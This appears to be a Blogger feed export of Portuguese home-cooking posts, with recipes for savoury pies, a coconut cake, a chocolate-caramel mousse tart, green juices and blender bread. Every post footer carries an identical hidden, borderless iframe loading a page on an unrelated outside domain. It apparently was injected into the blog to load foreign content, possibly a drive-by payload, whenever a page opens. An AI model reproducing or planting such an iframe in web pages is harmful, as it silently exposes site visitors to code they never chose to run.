Unte um refratário ou forma de alumíno com manteiga e farinha de trigo. Coloque metade da massa, arrume os hamburguers, as fatias de tomate, o queijo mussarela, a cebola e o orégano. Coloque o restante da massa por cima, polvilhe queijo parmesão. Leve ao forno pré aquecido em temperatura média. Assei a minha por uns 40 minutos.<br />
<br />
OBS: HAMBÚRGUER CRU E CONGELADO<br />
Usei o hambúrguer cru e congelado; adicionei requeijão (coloquei sobre os tomates)<br />
usei cebola só na massa (ñ coloquei no meio; achei que poderia ficar forte demais)<br />
<br />
aliás, achei que tinha errado a receita... a massa ficou estranha; cheia de furos; parecia que tinha desandado<br />
<br />
bati no liquidificador a cebola e o alho com o restante dos ingredientes...ficou um sabor estranho... daí adicionei mais leite; dobrei o queijo ralado (usei 100 gramas) e coloquei mais um ovo na massa (para quebrar o sabor da cebola)<br />
<br />
coloquei queijo mussarela no meio e em cima usei queijo curado e queijo mussarela<br />
<br />
ficou divino<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-18478270315578735412010-10-14T14:29:00.002-04:002010-10-14T14:29:23.833-04:00Torta de Milho e Brócolis<br />
Massa<br />
100g de margarina<br />
1 gema<br />
1/2 tablete de caldo de legumes<br />
3/4 de xícaras de chá de água quente<br />
3xícaras de chá de farinha de trigo<br />
<br />
Recheio<br />
3xícaras de cha de leite<br />
1/2 tablete de caldo de legumes<br />
3 colheres de sopa de farinha de trigo<br />
2 colheres de sopa de margarina<br />
2 colheres de sopa de queijo ralado<br />
1colher de sopa de azeite de oliva<br />
2 dentes de alho fatiados<br />
3xícaras de chá de buquês de brócolis cozidos<br />
1/2 xícara de chá de milho verde escorrido<br />
1 pitada de sal<br />
<br />
Cobertura<br />
2 ovos<br />
1/4 de xícara de chá de leite<br />
queijo ralado para salpicar<br />
<br />
<br />
Preparo Massa<br />
Misture a margarina, gema, caldo de legumes dissolvido na água quente e farinha de trigo. Cubra e deixe descansar por 20 min.Forre uma forma de aro removível e leve ao forno pré-aquecido por uns 30 min.<br />
<br />
Recheio<br />
Misture o leite caldo de legumes, a farinha, a margarina e o queijo ralado. Leve ao fogo e cozinhe até engrossar.<br />
Reserve.Aqueça o azeite e doure o alho, refogue os brócolis e o milho.Junte o sal misture e reserve.<br />
<br />
Montagem<br />
Espalhe o creme reservado sobre a massa pré-assada.Distribua o refogado de brócolis e o milho cubra com os ovos batidos com leite. Salpique queijo raldo por cima.<br />
<br />
Uma dica, tirar do forno alguns minutos antes de servir, para o creme ficar mais consistente.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-83416647604751438922010-10-14T14:28:00.001-04:002010-10-14T14:28:51.416-04:00TORTA DE REPOLHO<br />
Ingredientes:<br />
1 repolho de ½ kg picado fino<br />
1 xícara (chá) de farinha de trigo<br />
4 ovos inteiros batidos<br />
1 xícara de chá de óleo (eu coloco ¾ de xícara)<br />
1 colher de sopa de fermento em pó<br />
1 colher de café de sal<br />
1 cebola picada<br />
azeitona picada, <br />
pimenta (se gostar<br />
e farinha de rosca para polvilhar a forma<br />
Preparo:<br />
Junte todos os ingredientes e misture bem. Despeje em forma refratária untada e polvilhada c/farinha de rosca Leve ao forno pré aquecido e asse até q enfiando um palito ele saia seco(30 minutos). Se quiser pode acrescentar à massa 1 ou 2 colheres d queijo parmesão. (eu polvilho o parmesão por cima de toda a massa também).Sirva quente ou fria . receita da Regina<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-61506021148183792010-09-23T14:35:00.000-04:002010-09-23T14:35:18.160-04:00bolo toalha felpuda de cocobolo toalha felpuda coco<br />
• 5 gemas<br />
• 3 xícaras (chá) de açúcar<br />
• 2 colheres (sopa) bem cheias de manteiga<br />
• 5 claras em neve<br />
• 4 xícaras (chá) de farinha de trigo<br />
• 1 colher (sopa) de fermento em pó<br />
• 200ml de leite de coco<br />
• 200ml de leite<br />
• 1 xícara (chá) de coco ralado<br />
<br />
Calda:<br />
• ½ copo (requeijão) de leite de coco<br />
• ½ copo (requeijão) de água<br />
• 1 copo (requeijão) de açúcar<br />
• coco ralado para polvilhar<br />
<br />
Recheio de cocada branca:<br />
• 1kg de açúcar<br />
• 1 litro e ½ de água<br />
• 500g de coco ralado fruta<br />
<br />
Modo de fazer: <br />
Massa:<br />
Bata as gemas com o açúcar e a manteiga até clarear. Misture as claras em neve. Alterne os ingredientes secos com os líquidos na massa. Leve para assar em forma untada com margarina e polvilhada com farinha.<br />
<br />
Calda:<br />
Misture o leite de coco, a água e o açúcar em uma vasilha. Quando retirar o bolo já assado do forno, jogue sobre ele, ainda quente, esta mistura e o coco ralado. Deixe esfriar e sirva.<br />
<br />
Recheio cocada branca:<br />
Coloque o açúcar e a água na panela, mexa e leve ao fogo até dissolver o açúcar.Coloque o coco ralado e deixe cozinhar muito até a calda ficar rente ao coco e com umidade. Deixe esfriar.<br />
<br />
Montagem do bolo:<br />
1 Fatia de massa do bolo regada, recheie com doce de leite, coloque a cocada branca. Segue com uma 1 fatia de massa e assim por diante. Para finalizar cubra com chantilly e coco em flocos.<br />
<br />
<br />
OBS:Se quiser bolo embrulhado, faça mais calda e passe o bolo na calda e no coco ralado. Embrulhe no papel alumínio e leve para gelar<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-30936328959496734252010-09-23T14:32:00.002-04:002010-09-23T14:32:34.728-04:00torta mousse de chocolate e carameloTorta mousse de chocolate e caramelo<br />
<br />
Base<br />
• 1 pacote de biscoito leite triturado<br />
• 100g de chocolate ao leite derretido<br />
• 100g de pasta de avelãs<br />
<br />
Modo de preparo:<br />
Misture bem os 3 ingredientes. Forre o fundo de um aro de 20cm.<br />
<br />
Creme brulee de caramelo<br />
• 3 colheres (sopa) de açúcar<br />
• 250g de creme de leite<br />
• 5 gemas<br />
<br />
Modo de preparo:<br />
Derreta o açúcar no fogo até obter um caramelo. Adicione o creme de leite e ferva até dissolver.Junte nas gemas e misture bem. Despeje em uma forma e leve para assar em banho-maria até estar firme em temperatura 130 graus por aproximadamente 25 minutos. Após esfriar, leve ao freezer e congele!<br />
<br />
Mousse de Chocolate<br />
• 2 colheres (sopa) de açúcar<br />
• 6 gemas<br />
• 285g de chocolate 70% (amargo)<br />
• 55g de manteiga<br />
• 500g de creme de leite batido em ponto de chantilly<br />
<br />
Modo de preparo<br />
Derreta o chocolate com a manteiga em banho-maria ou microondas, reserve.Levar as gemas e o açúcar em banho-maria mexendo sempre até atingir 60graus.Leve para a batedeira e bata até espumar e ficar claro, leve e fofo. Misture as gemas com o açúcar no chocolate derretido com a manteiga.Junte por último, delicadamente o creme de leite batido.<br />
<br />
Glaçagem de caramelo<br />
• 830g de açúcar refinado<br />
• 690g de creme de leite<br />
• 55g de amido de milho<br />
• 15g de gelatina em pó <br />
• 75ml de água<br />
<br />
Modo de preparo:<br />
1.derreter o açúcar seco.<br />
2.Adicionar o creme de leite e mexer até dissolver.<br />
3.Junte o amido dissolvido em um pouco de água.<br />
4.retire do fogo e esfrie até 70ºC. <br />
5.Coloque a gelatina.<br />
6.Peneire e aplique na torta dando o banho.<br />
<br />
Montagem:<br />
Em um aro de 20cm já forrado com a mistura de biscoitos, coloque um pouco do mousse, acrescente o disco de creme brulle de caramelo e finalize com mousse.Dê o banho com a cobertura de caramelo e decore a gosto!<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-54743304900339283002010-09-23T14:29:00.002-04:002010-09-23T14:29:22.875-04:00sucos verdesVeja algumas sugestões para serem preparadas na centrífuga ou no liquidificador: <br />
Suco verde <br />
2 folhas de couve <br />
1 punhado de folhas de hortelã<br />
1 maçã<br />
1 cenoura ou beterraba<br />
½ pe ino<br />
1 lasca de gengibre p <br />
Azedinho bom <br />
1 talo de aipo<br />
1 maçã<br />
1 limão <br />
Laranja com maçã <br />
200ml de suco de laranja<br />
1 maça<br />
1 punhado de salsinha <br />
Abacaxi com hortelã especial <br />
2 fatias de abacaxi<br />
1 limão<br />
2 folhas de couve<br />
algumas folhinhas de hortelã.<br />
<br />
Procure variar sempre as misturas, use a criatividade e teste sem medo as diversas possibilidades de combinação de sabores. Assim, além de enriquecer seu corpo a ingestão de todos os tipos possíveis de nutrientes e vitaminas, você ainda poderá evitar o desperdício, aproveitando todos os alimentos que estão "sobrando" na geladeira.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-2176082879583049192010-09-23T14:28:00.002-04:002010-09-23T14:28:25.599-04:00pão de liquidificador• Pão de Liquidificador<br />
• ½ xícara (chá) de óleo<br />
• 1 xícara (chá) de água morna<br />
• 2 ovos<br />
• 2 tabletes de fermento biológico fresco (30grs.)<br />
• 1 colher (sopa) de sal<br />
• 2 colheres (sopa) de açúcar<br />
• 2 cenouras sem casca picadas<br />
• 5 xícaras (chá) de farinha de trigo<br />
<br />
Modo de preparo:<br />
No liquidificador, coloque o óleo, a água, os ovos, o fermento, o sal, o açúcar, a cenoura e a farinha. Coloque em uma forma de bolo inglês grande untada. Deixe descansar por 20 minutos ou até dobrar de volume. Leve ao forno médio, pré-aquecido.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-82969156616488538542010-09-23T14:27:00.002-04:002010-09-23T14:27:39.739-04:00torta de frango com requeijãoTorta de Frango com Requeijão Cremoso - Tudo de Bom<br />
Eugênia Procópio<br />
INGREDIENTES DA MASSA:<br />
<br />
1 kg farinha de trigo<br />
600g manteiga<br />
1 ovo<br />
300 ml leite <br />
sal<br />
<br />
MODO DE PREPARO:<br />
<br />
Fazer uma farofa com a margarina e a farinha de trigo, adicionar o ovo, bater um pouco e acrescentar o leite. Bater até dar o ponto.<br />
<br />
RECHEIO DE FRANGO<br />
<br />
1,2 kg peito de frango desfiado<br />
10g pasta de alho<br />
150 ml água<br />
5 g colorau<br />
50 g cebola branca<br />
20 g margarina <br />
1,2 g caldo de galinha<br />
60 g farinha de trigo<br />
200 g milho verde<br />
200 g ervilha <br />
200 g salsinha<br />
<br />
<br />
MODO DE PREPARO<br />
<br />
Ralar a cebola. Esquentar a margarina em uma panela e refogar a cebola, a pasta de alho e o colorau. Acrescentar o frango desfiado e o caldo de galinha quente. Deixar reduzir bem e acrescentar a mistura de água com a farinha de trigo. Deixar engrossar, acrescentar o milho verde e deixar ferver. Por último colocar a ervilha e a salsinha picada.<br />
<br />
FINALIZAÇÃO DA TORTA DE FRANGO<br />
<br />
INGREDIENTES<br />
<br />
600 g massa de pastel assado <br />
1,5 kg recheio de frango<br />
400 g requeijão <br />
<br />
MODO DE PREPARO<br />
<br />
Abrir a massa com o rolo até obter a espessura de 1 mm. Forrar as formas com a massa. Colocar uma camada fina sobre o recheio. Tampar com a massa fechando bem nas laterais para que não vaze o recheio. Na hora de assar, pincelar a tampa com a gema.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-33216209516468702442010-09-23T14:25:00.002-04:002010-09-23T14:25:58.112-04:00torta de palmito de padariaMassa:<br />
• ½kg banha <br />
• 1 colher (sopa) sal<br />
• ½kg farinha de trigo<br />
• 6 ovos<br />
<br />
Recheio:<br />
• 3 colheres (sopa) manteiga<br />
• 4 dente de alho <br />
• 2 cebolas picada <br />
• 4 tomates picados<br />
• 3 xícaras (chá) ervilha fresca<br />
• 2 vidros de palmito picado <br />
• 2 xícaras (chá) azeitonas verdes sem caroço<br />
• 1 xícara (chá) água<br />
• 2 latas de creme de leite<br />
• 1 xícara (chá) cheiro verde picadinho<br />
• 1 xícara (chá) farinha de trigo<br />
<br />
Modo de preparo:<br />
Massa: Coloque todos os ingredientes em uma vasilha, misture muito bem com as mãos até que fique homogênea cobre com filme plástico e reserve por 30 minutos na geladeira. <br />
Recheio: Refogue o alho e a cebola na manteiga, acrescente o restante dos ingredientes com exceção da farinha. Deixe refogar por 5 minutos, acrescente a farinha aos poucos, misturando sempre para encorpar a massa. Cozinhe a farinha por mais 5 minutos. Reserve para esfriar. Abra a massa com o auxílio de um rolo ou com as mãos. Em uma assadeira de pizza untada e enfarinhada, coloque a passa e espalhe o recheio, em seguida coloque mais uma camada de massa. Pincele um ovo, faça os riscos com a ponta de uma faca e leve ao forno quente (200º) por aproximadamente 30 minutos ou até dourar bem. Tire do forno, aguarde amornar um pouquinho e sirva esta delícia.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0